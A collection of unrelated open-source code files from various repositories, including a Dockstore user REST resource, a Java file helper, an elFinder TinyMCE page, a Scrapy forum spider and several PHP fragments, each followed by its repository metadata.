email_button.style.display = style;
copy_info.style.display = 'none';
email_info.style.display = 'none';*/
}
function cambiar(){
puntaje_cant=document.getElementById("puntajecant").value;
imagen =parseInt(document.getElementById("imagen").value)+1;
document.getElementById("correcto").style.display=""
if(imagen<5){
setTimeout(
window.location.href="main.php?idImagen="+imagen+"&puntajecant="+puntaje_cant , 40000);
}else {
window.location.href="main.php?";
}
}
</script>
<!-- Latest compiled and minified JavaScript -->
<script type="text/javascript" src="http://code.jquery.com/jquery-git2.min.javascript"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script>
|
Mindtaker/VeoVeo
|
main.php
|
PHP
|
gpl-2.0
| 14,474
|
<?php
/*
* @version $Id$
-------------------------------------------------------------------------
GLPI - Gestionnaire Libre de Parc Informatique
Copyright (C) 2015-2016 Teclib'.
http://glpi-project.org
based on GLPI - Gestionnaire Libre de Parc Informatique
Copyright (C) 2003-2014 by the INDEPNET Development Team.
-------------------------------------------------------------------------
LICENSE
This file is part of GLPI.
GLPI is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
GLPI is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with GLPI. If not, see <http://www.gnu.org/licenses/>.
--------------------------------------------------------------------------
*/
/** @file
* @brief
*/
include ('../inc/includes.php');
$dropdown = new Location();
include (GLPI_ROOT . "/front/dropdown.common.php");
|
TECLIB/glpi
|
front/location.php
|
PHP
|
gpl-2.0
| 1,257
|
package com.iarekylew00t.helpers;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.nio.file.Files;
import java.nio.file.attribute.BasicFileAttributeView;
import java.nio.file.attribute.BasicFileAttributes;
import java.nio.file.attribute.FileTime;
import java.util.Date;
import org.apache.commons.io.FileUtils;
import com.iarekylew00t.ircbot.handlers.LogHandler;
import com.iarekylew00t.managers.DataManager;
public final class FileHelper {
private static LogHandler logger = DataManager.logHandler;
private FileHelper() {
throw new AssertionError();
}
public static void createFile(File file) {
try {
file.createNewFile();
} catch (IOException e) {
logger.error("COULD NOT CREATE FILE \"" + file.getName() + "\"", e);
}
}
public static void writeToFile(File file, String message, boolean append) {
try {
//BufferedWriter writer = new BufferedWriter(new FileWriter(file, append));
//writer.write(message + "\r\n");
//writer.close();
FileUtils.write(file, message, append);
}
catch (Exception e) {
logger.error("COULD NOT WRITE TO FILE \"" + file.getName() + "\"", e);
}
}
public static void copyFile(File from, File to) {
try {
FileUtils.copyFile(from, to);
/*FileInputStream in = new FileInputStream(from);
FileOutputStream out = new FileOutputStream(to);
byte[] buffer = new byte[4096];
int len;
while ((len = in.read(buffer, 0, buffer.length)) > 0) {
out.write(buffer, 0, len);
}
in.close();
out.close();*/
} catch (Exception e) {
logger.error("COULD NOT COPY \"" + from.getName() + "\" TO \"" + to.getName() + "\"" , e);
}
}
public static FileTime checkFileCreation(File file) {
try {
BasicFileAttributes view = Files.getFileAttributeView(file.toPath(), BasicFileAttributeView.class).readAttributes();
return view.creationTime();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
public static File getOldestFile(File[] files) {
long creationTime = Long.MIN_VALUE;
Date date = new Date();
File oldestFile = null;
for (File file : files) {
long diff = date.getTime() - FileHelper.checkFileCreation(file).toMillis();
if (diff > creationTime) {
oldestFile = file;
creationTime = diff;
}
}
return oldestFile;
}
public static int countLines(File file) {
int lines = 0;
try {
BufferedReader reader = new BufferedReader(new FileReader(file));
while (reader.readLine() != null) {
lines++;
}
reader.close();
} catch (Exception e) {
logger.error("COULD NOT COUNT LINES IN FILE \"" + file.getName() + "\"", e);
}
return lines;
}
public static String readLine(File file, int line) {
int numOfLines = countLines(file);
String text = "";
if (line > numOfLines || line <= 0) {
throw new IndexOutOfBoundsException ("Please enter a number from 1-" + numOfLines);
}
try {
BufferedReader reader = new BufferedReader(new FileReader(file));
for (int i = 1; i < line; i++) {
reader.readLine();
}
text = reader.readLine();
reader.close();
} catch (Exception e) {
logger.error("COULD NOT READ LINE " + line + " IN FILE \"" + file.getName() + "\"", e);
}
return text;
}
public static String searchFile(File file, String search) {
String line, searchLine = "";
try {
BufferedReader reader = new BufferedReader(new FileReader(file));
while ((line = reader.readLine()) != null) {
if (line.toLowerCase().contains(search)) {
searchLine = line;
reader.close();
return searchLine;
}
}
reader.close();
} catch (Exception e) {
logger.error("COULD NOT SEARCH IN FILE \"" + file.getName() + "\"", e);
}
return searchLine;
}
}
|
KazeEspada/IRCBot
|
com/iarekylew00t/helpers/FileHelper.java
|
Java
|
gpl-2.0
| 3,996
|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>elFinder 2.0</title>
<!-- jQuery and jQuery UI (REQUIRED) -->
<link rel="stylesheet" type="text/css" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.23/themes/smoothness/jquery-ui.css">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.0/jquery.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.23/jquery-ui.min.js"></script>
<link rel="stylesheet" href="css/common.css" type="text/css">
<link rel="stylesheet" href="css/dialog.css" type="text/css">
<link rel="stylesheet" href="css/toolbar.css" type="text/css">
<link rel="stylesheet" href="css/navbar.css" type="text/css">
<link rel="stylesheet" href="css/statusbar.css" type="text/css">
<link rel="stylesheet" href="css/contextmenu.css" type="text/css">
<link rel="stylesheet" href="css/cwd.css" type="text/css">
<link rel="stylesheet" href="css/quicklook.css" type="text/css">
<link rel="stylesheet" href="css/commands.css" type="text/css">
<link rel="stylesheet" href="css/fonts.css" type="text/css">
<link rel="stylesheet" href="css/theme.css" type="text/css">
<!-- elfinder core -->
<script src="js/elFinder.js"></script>
<script src="js/elFinder.version.js"></script>
<script src="js/jquery.elfinder.js"></script>
<script src="js/elFinder.resources.js"></script>
<script src="js/elFinder.options.js"></script>
<script src="js/elFinder.history.js"></script>
<script src="js/elFinder.command.js"></script>
<!-- elfinder ui -->
<script src="js/ui/overlay.js"></script>
<script src="js/ui/workzone.js"></script>
<script src="js/ui/navbar.js"></script>
<script src="js/ui/dialog.js"></script>
<script src="js/ui/tree.js"></script>
<script src="js/ui/cwd.js"></script>
<script src="js/ui/toolbar.js"></script>
<script src="js/ui/button.js"></script>
<script src="js/ui/uploadButton.js"></script>
<script src="js/ui/viewbutton.js"></script>
<script src="js/ui/searchbutton.js"></script>
<script src="js/ui/sortbutton.js"></script>
<script src="js/ui/panel.js"></script>
<script src="js/ui/contextmenu.js"></script>
<script src="js/ui/path.js"></script>
<script src="js/ui/stat.js"></script>
<script src="js/ui/places.js"></script>
<!-- elfinder commands -->
<script src="js/commands/back.js"></script>
<script src="js/commands/forward.js"></script>
<script src="js/commands/reload.js"></script>
<script src="js/commands/up.js"></script>
<script src="js/commands/home.js"></script>
<script src="js/commands/copy.js"></script>
<script src="js/commands/cut.js"></script>
<script src="js/commands/paste.js"></script>
<script src="js/commands/open.js"></script>
<script src="js/commands/rm.js"></script>
<script src="js/commands/info.js"></script>
<script src="js/commands/duplicate.js"></script>
<script src="js/commands/rename.js"></script>
<script src="js/commands/help.js"></script>
<script src="js/commands/getfile.js"></script>
<script src="js/commands/mkdir.js"></script>
<script src="js/commands/mkfile.js"></script>
<script src="js/commands/upload.js"></script>
<script src="js/commands/download.js"></script>
<script src="js/commands/edit.js"></script>
<script src="js/commands/quicklook.js"></script>
<script src="js/commands/quicklook.plugins.js"></script>
<script src="js/commands/extract.js"></script>
<script src="js/commands/archive.js"></script>
<script src="js/commands/search.js"></script>
<script src="js/commands/view.js"></script>
<script src="js/commands/resize.js"></script>
<script src="js/commands/sort.js"></script>
<script src="js/commands/netmount.js"></script>
<!-- elfinder languages -->
<script src="js/i18n/elfinder.ar.js"></script>
<script src="js/i18n/elfinder.bg.js"></script>
<script src="js/i18n/elfinder.ca.js"></script>
<script src="js/i18n/elfinder.cs.js"></script>
<script src="js/i18n/elfinder.de.js"></script>
<script src="js/i18n/elfinder.el.js"></script>
<script src="js/i18n/elfinder.en.js"></script>
<script src="js/i18n/elfinder.es.js"></script>
<script src="js/i18n/elfinder.fa.js"></script>
<script src="js/i18n/elfinder.fr.js"></script>
<script src="js/i18n/elfinder.hu.js"></script>
<script src="js/i18n/elfinder.it.js"></script>
<script src="js/i18n/elfinder.jp.js"></script>
<script src="js/i18n/elfinder.ko.js"></script>
<script src="js/i18n/elfinder.nl.js"></script>
<script src="js/i18n/elfinder.no.js"></script>
<script src="js/i18n/elfinder.pl.js"></script>
<script src="js/i18n/elfinder.pt_BR.js"></script>
<script src="js/i18n/elfinder.ru.js"></script>
<script src="js/i18n/elfinder.sl.js"></script>
<script src="js/i18n/elfinder.sv.js"></script>
<script src="js/i18n/elfinder.tr.js"></script>
<script src="js/i18n/elfinder.zh_CN.js"></script>
<script src="js/i18n/elfinder.zh_TW.js"></script>
<script src="js/i18n/elfinder.vi.js"></script>
<!-- elfinder dialog -->
<script src="js/jquery.dialogelfinder.js"></script>
<!-- elfinder 1.x connector API support -->
<script src="js/proxy/elFinderSupportVer1.js"></script>
<!-- elfinder custom extenstions -->
<script src="extensions/jplayer/elfinder.quicklook.jplayer.js"></script>
<!-- elFinder initialization (REQUIRED) -->
<script type="text/javascript">
var FileBrowserDialogue = {
init: function() {
// Here goes your code for setting your custom things onLoad.
},
mySubmit: function (URL) {
// pass selected file path to TinyMCE
parent.tinymce.activeEditor.windowManager.getParams().setUrl(URL);
// close popup window
parent.tinymce.activeEditor.windowManager.close();
}
}
$().ready(function() {
var elf = $('#elfinder').elfinder({
// set your elFinder options here
url: 'php/connector.minimal.php', // connector URL
getFileCallback: function(file) { // editor callback
// actually file.url - doesnt work for me, but file does. (elfinder 2.0-rc1)
FileBrowserDialogue.mySubmit(file.url); // pass selected file path to TinyMCE
}
}).elfinder('instance');
});
</script>
</head>
<body>
<!-- Element where elFinder will be created (REQUIRED) -->
<div id="elfinder"></div>
</body>
</html>
|
Gugis/laravel-cms
|
public/assets/elFinder/elfinder-tinymce.html
|
HTML
|
gpl-2.0
| 6,210
|
/*
* This file is part of CrappyDB-Server,
* developed by Luca Bonmassar <luca.bonmassar at gmail.com>
*
* CrappyDB-Server is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* CrappyDB-Server is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with CrappyDB-Server. If not, see <http://www.gnu.org/licenses/>.
*/
package org.bonmassar.crappydb.server.storage.data;
import static org.junit.Assert.assertEquals;
import org.junit.Test;
public class TestVeryVeryLongKey {
private String keyWith250Chars = "Nelmezzodelcammindinostravitamiritrovai" +
"perunaselvaoscurachladirittaviaerasmarrita." +
"Ahiquantoadirqualeracosaduraestaselvaselvaggiaeasp" +
"raefortechenelpensierrinovalapaura!Tant'amarachepocopimorte;" +
"mapertrattardelbench'i'vitrovai,dirdel'altrecosech'i";
@Test
public void test250CharKey(){
Key k = new Key(keyWith250Chars);
assertEquals(keyWith250Chars, k.toString());
}
@Test
public void test251CharKey(){
Key k = new Key(keyWith250Chars+"a");
assertEquals(keyWith250Chars, k.toString());
}
@Test
public void test250CharKeyButWhiteSpace(){
Key k = new Key(" \r\r \n \t"+keyWith250Chars);
assertEquals(keyWith250Chars, k.toString());
}
}
|
openmosix/crappydb
|
src/test/java/org/bonmassar/crappydb/server/storage/data/TestVeryVeryLongKey.java
|
Java
|
gpl-2.0
| 1,672
|
/*
* Copyright (C) 2015 Collaboratory
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package io.dockstore.webservice.resources;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Random;
import javax.ws.rs.DELETE;
import javax.ws.rs.GET;
import javax.ws.rs.POST;
import javax.ws.rs.PUT;
import javax.ws.rs.Path;
import javax.ws.rs.PathParam;
import javax.ws.rs.Produces;
import javax.ws.rs.QueryParam;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.Response;
import org.apache.http.HttpStatus;
import org.apache.http.client.HttpClient;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.codahale.metrics.annotation.Timed;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.base.Charsets;
import com.google.common.base.Optional;
import com.google.common.hash.Hashing;
import com.google.common.io.BaseEncoding;
import com.google.gson.Gson;
import io.dockstore.webservice.CustomWebApplicationException;
import io.dockstore.webservice.Helper;
import io.dockstore.webservice.core.Container;
import io.dockstore.webservice.core.Group;
import io.dockstore.webservice.core.Token;
import io.dockstore.webservice.core.TokenType;
import io.dockstore.webservice.core.User;
import io.dockstore.webservice.jdbi.ContainerDAO;
import io.dockstore.webservice.jdbi.FileDAO;
import io.dockstore.webservice.jdbi.GroupDAO;
import io.dockstore.webservice.jdbi.TagDAO;
import io.dockstore.webservice.jdbi.TokenDAO;
import io.dockstore.webservice.jdbi.UserDAO;
import io.dropwizard.auth.Auth;
import io.dropwizard.hibernate.UnitOfWork;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import io.swagger.annotations.ApiParam;
import io.swagger.annotations.ApiResponse;
import io.swagger.annotations.ApiResponses;
/**
*
* @author xliu
*/
@Path("/users")
@Api("/users")
@Produces(MediaType.APPLICATION_JSON)
public class UserResource {
private final HttpClient client;
private final UserDAO userDAO;
private final GroupDAO groupDAO;
private final TokenDAO tokenDAO;
private final ContainerDAO containerDAO;
private final TagDAO tagDAO;
private final FileDAO fileDAO;
private final String bitbucketClientID;
private final String bitbucketClientSecret;
private final ObjectMapper objectMapper;
private static final Logger LOG = LoggerFactory.getLogger(UserResource.class);
@SuppressWarnings("checkstyle:parameternumber")
public UserResource(ObjectMapper mapper, HttpClient client, TokenDAO tokenDAO, UserDAO userDAO, GroupDAO groupDAO,
ContainerDAO containerDAO, TagDAO tagDAO, FileDAO fileDAO, String bitbucketClientID, String bitbucketClientSecret) {
objectMapper = mapper;
this.client = client;
this.userDAO = userDAO;
this.groupDAO = groupDAO;
this.tokenDAO = tokenDAO;
this.containerDAO = containerDAO;
this.tagDAO = tagDAO;
this.fileDAO = fileDAO;
this.bitbucketClientID = bitbucketClientID;
this.bitbucketClientSecret = bitbucketClientSecret;
}
@POST
@Timed
@UnitOfWork
@Path("/groups")
@ApiOperation(value = "Create user group", response = Group.class)
public Group createGroup(@ApiParam(hidden = true) @Auth Token authToken, @QueryParam("group_name") String name) {
Group group = new Group();
group.setName(name);
long create = groupDAO.create(group);
return groupDAO.findById(create);
}
@DELETE
@Timed
@UnitOfWork
@Path("/groups/{groupId}")
@ApiOperation(value = "Deletes a group", response = Response.class)
@ApiResponses(@ApiResponse(code = HttpStatus.SC_BAD_REQUEST, message = "Invalid groupId value"))
public Response deleteGroup(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam(value = "Group id to delete", required = true) @PathParam("groupId") Long groupId) {
User user = userDAO.findById(authToken.getUserId());
Group group = groupDAO.findById(groupId);
Helper.checkUser(user);
groupDAO.delete(group);
group = groupDAO.findById(groupId);
if (group == null) {
return Response.ok().build();
} else {
return Response.serverError().build();
}
}
@GET
@Timed
@UnitOfWork
@ApiOperation(value = "List all known users", notes = "List all users. Admin only.", response = User.class, responseContainer = "List")
public List<User> listUsers(@ApiParam(hidden = true) @Auth Token authToken) {
User user = userDAO.findById(authToken.getUserId());
Helper.checkUser(user);
return userDAO.findAll();
}
@GET
@Timed
@UnitOfWork
@Path("/username/{username}")
@ApiOperation(value = "Get user", response = User.class)
public User listUser(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam("Username of user to return") @PathParam("username") String username) {
User authUser = userDAO.findById(authToken.getUserId());
User user = userDAO.findByUsername(username);
Helper.checkUser(authUser, user.getId());
return user;
}
@GET
@Timed
@UnitOfWork
@Path("/{userId}")
@ApiOperation(value = "Get user with id", response = User.class)
public User getUser(@ApiParam(hidden = true) @Auth Token authToken, @ApiParam("User to return") @PathParam("userId") long userId) {
User authUser = userDAO.findById(authToken.getUserId());
Helper.checkUser(authUser, userId);
User user = userDAO.findById(userId);
if (user == null) {
throw new CustomWebApplicationException("User not found.", HttpStatus.SC_BAD_REQUEST);
}
return user;
}
@GET
@Timed
@UnitOfWork
@Path("/{userId}/tokens")
@ApiOperation(value = "Get tokens with user id", response = Token.class, responseContainer = "List")
public List<Token> getUserTokens(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam("User to return") @PathParam("userId") long userId) {
User user = userDAO.findById(authToken.getUserId());
Helper.checkUser(user, userId);
return tokenDAO.findByUserId(userId);
}
@GET
@Timed
@UnitOfWork
@Path("/{userId}/tokens/github.com")
@ApiOperation(value = "Get Github tokens with user id", response = Token.class)
public List<Token> getGithubUserTokens(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam("User to return") @PathParam("userId") long userId) {
User user = userDAO.findById(authToken.getUserId());
Helper.checkUser(user, userId);
return tokenDAO.findGithubByUserId(userId);
}
@GET
@Timed
@UnitOfWork
@Path("/{userId}/tokens/quay.io")
@ApiOperation(value = "Get Quay tokens with user id", response = Token.class)
public List<Token> getQuayUserTokens(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam("User to return") @PathParam("userId") long userId) {
User user = userDAO.findById(authToken.getUserId());
Helper.checkUser(user, userId);
return tokenDAO.findQuayByUserId(userId);
}
@GET
@Timed
@UnitOfWork
@Path("/{userId}/tokens/dockstore")
@ApiOperation(value = "Get Dockstore tokens with user id", response = Token.class)
public List<Token> getDockstoreUserTokens(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam("User to return") @PathParam("userId") long userId) {
User user = userDAO.findById(authToken.getUserId());
Helper.checkUser(user, userId);
return tokenDAO.findQuayByUserId(userId);
}
@POST
@Timed
@UnitOfWork
@ApiOperation(value = "Add new user", notes = "Register a new user", response = User.class)
public User registerUser(@QueryParam("username") String username, @QueryParam("is_admin") boolean isAdmin) {
final Random random = new Random();
final int bufferLength = 1024;
final byte[] buffer = new byte[bufferLength];
random.nextBytes(buffer);
String randomString = BaseEncoding.base64Url().omitPadding().encode(buffer);
final String accessToken = Hashing.sha256().hashString(username + randomString, Charsets.UTF_8).toString();
User user = new User();
user.setUsername(username);
user.setIsAdmin(isAdmin);
long userId = userDAO.create(user);
Token token = new Token();
token.setTokenSource(TokenType.DOCKSTORE.toString());
token.setContent(accessToken);
token.setUsername(username);
token.setUserId(userId);
tokenDAO.create(token);
return userDAO.findById(userId);
}
@GET
@Timed
@UnitOfWork
@Path("/{userId}/groups")
@ApiOperation(value = "Get groups that the user belongs to", response = Group.class, responseContainer = "List")
public List<Group> getGroupsFromUser(@ApiParam(hidden = true) @Auth Token authToken, @ApiParam("User") @PathParam("userId") long userId) {
User authUser = userDAO.findById(authToken.getUserId());
Helper.checkUser(authUser, userId);
User user = userDAO.findById(userId);
if (user == null) {
throw new CustomWebApplicationException("User not found.", HttpStatus.SC_BAD_REQUEST);
}
List grouplist = new ArrayList(user.getGroups());
return grouplist;
}
@GET
@Timed
@UnitOfWork
@Path("/groups/{groupId}/users")
@ApiOperation(value = "Get users that belongs to a group", response = User.class, responseContainer = "List")
public List<User> getUsersFromGroup(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam("Group") @PathParam("groupId") long groupId) {
Group group = groupDAO.findById(groupId);
if (group == null) {
throw new CustomWebApplicationException("Group not found.", HttpStatus.SC_BAD_REQUEST);
}
List userlist = new ArrayList(group.getUsers());
return userlist;
}
@GET
@Timed
@UnitOfWork
@Path("/groups")
@ApiOperation(value = "List all groups", response = Group.class, responseContainer = "List")
public List<Group> allGroups(@ApiParam(hidden = true) @Auth Token authToken) {
return groupDAO.findAll();
}
@GET
@Timed
@UnitOfWork
@Path("/groups/{groupId}")
@ApiOperation(value = "List a group", response = Group.class)
public Group getGroup(@ApiParam(hidden = true) @Auth Token authToken, @ApiParam("Group") @PathParam("groupId") long groupId) {
return groupDAO.findById(groupId);
}
@PUT
@Timed
@UnitOfWork
@Path("/{userId}/groups")
@ApiOperation(value = "Add a group to a user", response = User.class)
public User addGroupToUser(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam("User ID of user") @PathParam("userId") long userId,
@ApiParam(value = "RegisterRequest to refresh the list of repos for a user", required = true) Group group) {
User authUser = userDAO.findById(authToken.getUserId());
Helper.checkUser(authUser, userId);
User user = userDAO.findById(userId);
// Group group = groupDAO.findById(groupId);
if (user != null && group != null) {
user.addGroup(group);
} else {
LOG.info("user or group is null");
throw new CustomWebApplicationException("Group and/or user not found.", HttpStatus.SC_BAD_REQUEST);
}
return user;
}
@DELETE
@Timed
@UnitOfWork
@Path("/{userId}/groups/{groupId}")
@ApiOperation(value = "Remove a user from a group", response = User.class)
@ApiResponses(@ApiResponse(code = HttpStatus.SC_BAD_REQUEST, message = "Invalid user or group value"))
public User removeUserFromGroup(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam("User ID of user") @PathParam("userId") long userId, @ApiParam("Group ID of group") @PathParam("groupId") long groupId) {
User authUser = userDAO.findById(authToken.getUserId());
Helper.checkUser(authUser, userId);
User user = userDAO.findById(userId);
Group group = groupDAO.findById(groupId);
if (user != null && group != null) {
user.removeGroup(group);
} else {
LOG.info("user or group is null");
throw new CustomWebApplicationException("Group and/or user not found.", HttpStatus.SC_BAD_REQUEST);
}
return user;
}
@GET
@Timed
@UnitOfWork
@Path("/{userId}/containers/registered")
@ApiOperation(value = "List all registered containers from a user", notes = "Get user's registered containers only", response = Container.class, responseContainer = "List")
public List<Container> userRegisteredContainers(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam(value = "User ID", required = true) @PathParam("userId") Long userId) {
User user = userDAO.findById(authToken.getUserId());
Helper.checkUser(user, userId);
List<Container> repositories = new ArrayList(user.getContainers());
for (Iterator<Container> iterator = repositories.iterator(); iterator.hasNext();) {
Container c = iterator.next();
if (!c.getIsRegistered()) {
iterator.remove();
}
}
return repositories;
}
@GET
@Timed
@UnitOfWork
@Path("/{userId}/containers/refresh")
@ApiOperation(value = "Refresh repos owned by the logged-in user", notes = "Updates some metadata", response = Container.class, responseContainer = "List")
@SuppressWarnings("checkstyle:methodlength")
public List<Container> refresh(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam(value = "User ID", required = true) @PathParam("userId") Long userId) {
User authUser = userDAO.findById(authToken.getUserId());
Helper.checkUser(authUser, userId);
List<Token> tokens = tokenDAO.findBitbucketByUserId(userId);
if (!tokens.isEmpty()) {
Token bitbucketToken = tokens.get(0);
Helper.refreshBitbucketToken(bitbucketToken, client, tokenDAO, bitbucketClientID, bitbucketClientSecret);
}
List<Container> containers = Helper.refresh(userId, client, objectMapper, userDAO, containerDAO, tokenDAO, tagDAO, fileDAO);
return containers;
}
@GET
@Path("/{userId}/containers")
@Timed
@UnitOfWork
@ApiOperation(value = "List repos owned by the logged-in user", notes = "Lists all registered and unregistered containers owned by the user", response = Container.class, responseContainer = "List")
public List<Container> userContainers(@ApiParam(hidden = true) @Auth Token token,
@ApiParam(value = "User ID", required = true) @PathParam("userId") Long userId) {
User user = userDAO.findById(token.getUserId());
Helper.checkUser(user, userId);
List<Container> ownedContainers = new ArrayList(user.getContainers());
return ownedContainers;
}
@GET
@Timed
@UnitOfWork
@Path("/user")
@ApiOperation(value = "Get the logged-in user", response = User.class)
public User getUser(@ApiParam(hidden = true) @Auth Token authToken) {
User user = userDAO.findById(authToken.getUserId());
return user;
}
@GET
@Timed
@UnitOfWork
@Path("/organizations")
@ApiOperation(value = "Get user's organizations", notes = "For testing purposes. Returns the list of organizations from user's Quay.io account", response = ArrayList.class, responseContainer = "List", hidden = true)
public ArrayList getOrganizations(@ApiParam(hidden = true) @Auth Token authToken) {
User authUser = userDAO.findById(authToken.getUserId());
// Helper.checkUser(authUser);
List<Token> tokens = tokenDAO.findQuayByUserId(authUser.getId());
Token token;
if (tokens.isEmpty()) {
throw new CustomWebApplicationException("Quay.io token not found.", HttpStatus.SC_INTERNAL_SERVER_ERROR);
} else {
token = tokens.get(0);
}
String url = "https://quay.io/api/v1/user/";
Optional<String> asString = ResourceUtilities.asString(url, token.getContent(), client);
if (asString.isPresent()) {
String response = asString.get();
LOG.info("RESOURCE CALL: {}", url);
Gson gson = new Gson();
// Map<String, String> map = new HashMap<>();
// map = (Map<String, String>) gson.fromJson(response, map.getClass());
//
// String username = map.get("username");
// LOG.info(username);
Map<String, ArrayList> map2 = new HashMap<>();
map2 = (Map<String, ArrayList>) gson.fromJson(response, map2.getClass());
ArrayList organizations = map2.get("organizations");
return organizations;
}
return null;
}
@GET
@Timed
@UnitOfWork
@Path("/{userId}/bitbucketUser")
@ApiOperation(value = "Test bitbucket", notes = "NO authentication", response = String.class)
public String getBitbucketUser(@ApiParam(hidden = true) @Auth Token authToken,
@ApiParam(value = "User ID", required = true) @PathParam("userId") Long userId) {
User user = userDAO.findById(authToken.getUserId());
Helper.checkUser(user, userId);
List<Token> tokens = tokenDAO.findBySource(TokenType.BITBUCKET_ORG.toString());
Token bitbucketToken;
if (tokens.isEmpty()) {
LOG.info("BITBUCKET token not found!");
throw new CustomWebApplicationException("Bitbucket token not found", HttpStatus.SC_CONFLICT);
} else {
bitbucketToken = tokens.get(0);
}
String json = "";
String url = "https://bitbucket.org/api/2.0/users/victoroicr";
Optional<String> asString = ResourceUtilities.asString(url, bitbucketToken.getContent(), client);
if (asString.isPresent()) {
json = asString.get();
}
return json;
}
}
|
nanobox-apps/sample-java
|
dockstore-webservice/src/main/java/io/dockstore/webservice/resources/UserResource.java
|
Java
|
gpl-2.0
| 18,968
|
# -*- coding: utf-8 -*-
__author__ = 'Eren Turkay <turkay.eren@gmail.com>'
from scrapy import log
from scrapy.http import Request
from scrapy.exceptions import CloseSpider
from datetime import datetime
from . import GenericSozlukSpider
from ..items import Girdi
class ItusozlukBaslikSpider(GenericSozlukSpider):
name = 'itusozluk'
def __init__(self, **kwargs):
super(ItusozlukBaslikSpider, self).__init__(**kwargs)
self.allowed_domains = ['itusozluk.com']
def parse(self, response):
self.log("PARSING: %s" % response.request.url, level=log.INFO)
items_to_scrape = response.xpath('//*[@id="entry-list"]/li/article')
if len(items_to_scrape) == 0:
self.log("!!! No item to parse found. It may indicate a problem with HTML !!!",
level=log.ERROR)
raise CloseSpider('no_item_found')
for sel in items_to_scrape:
girdi_id = sel.xpath('./footer/div[@class="entrymenu"]/@data-info').extract()[0].split(',')[0]
baslik_id = response.xpath('//*[@id="canonical_url"]/@value').re(r'--(\d*)')[0]
baslik = response.xpath('//*[@id="title"]/a/text()').extract()[0]
date = sel.xpath('./footer/div[2]/time/a/text()').re(r'\d{2}[.]\d{2}[.]\d{4} \d{2}[:]\d{2}')[0]
text = sel.xpath('string(./div)').extract()[0]
nick = sel.css('a.yazarlink').xpath('text()').extract()[0]
item = Girdi()
item['source'] = self.name
item['baslik'] = baslik
item['girdi_id'] = girdi_id
item['baslik_id'] = baslik_id
item['datetime'] = datetime.strptime(date, '%d.%m.%Y %H:%M')
item['text'] = text
item['nick'] = nick
yield item
current_url = response.request.url.split('/sayfa')[0]
title_re = response.xpath('//title').re(r'sayfa (\d*)')
current_page = int(title_re[0]) if title_re else 1
page_count = int(response.xpath('//a[@rel="last"]')[0].xpath('text()').extract()[0])
next_page = current_page + 1
if page_count >= next_page:
# if current_page < 2:
yield Request('%s/sayfa/%s' % (current_url, next_page))
|
eren/sozlukcrawler
|
sozlukcrawl/spiders/itusozluk.py
|
Python
|
gpl-2.0
| 2,234
|
<?php
$type = str_replace('mojo-', '', sanitize_title_for_query(wp_unslash($_GET['page'])));
$query = array(
'category' => 'wordpress',
'type' => $type,
'count' => 20,
'order' => 'sales',
'direction' => (isset($_GET['direction'])) ? $_GET['direction'] : '',
);
if (isset($_GET['paged']) && is_numeric($_GET['paged'])) {
$query['page'] = (int)$_GET['paged'];
} else {
$query['page'] = 1;
}
if ('services' == $type) {
unset($query['category']);
}
if (isset($_GET['items'])) {
if ('recent' == $_GET['items'] || 'popular' == $_GET['items']) {
$query['order'] = sanitize_title_for_query($_GET['items']);
} else {
$query['itemcategory'] = sanitize_title_for_query($_GET['items']);
}
}
if (isset($_GET['sort']) && !empty($_GET['sort'])) {
$query['order'] = sanitize_title_for_query($_GET['sort']);
}
$query = array_filter($query);
$api_url = add_query_arg($query, 'https://api.mojomarketplace.com/api/v2/items');
if ('random' != $query['order']) {
$response = mm_api_cache($api_url);
} else {
$response = wp_remote_get($api_url);
}
if (!is_wp_error($response)) {
if (isset($_GET['items']) && 'security-1' == $_GET['items']) {
$_GET['items'] = 'security';
}
$api = json_decode($response['body']);
$items = $api->items;
?>
<div id="mojo-wrapper" class="<?php echo mm_brand('mojo-%s-branding'); ?>">
<?php mm_require(MM_BASE_DIR . 'pages/header.php'); ?>
<div class="container">
<?php
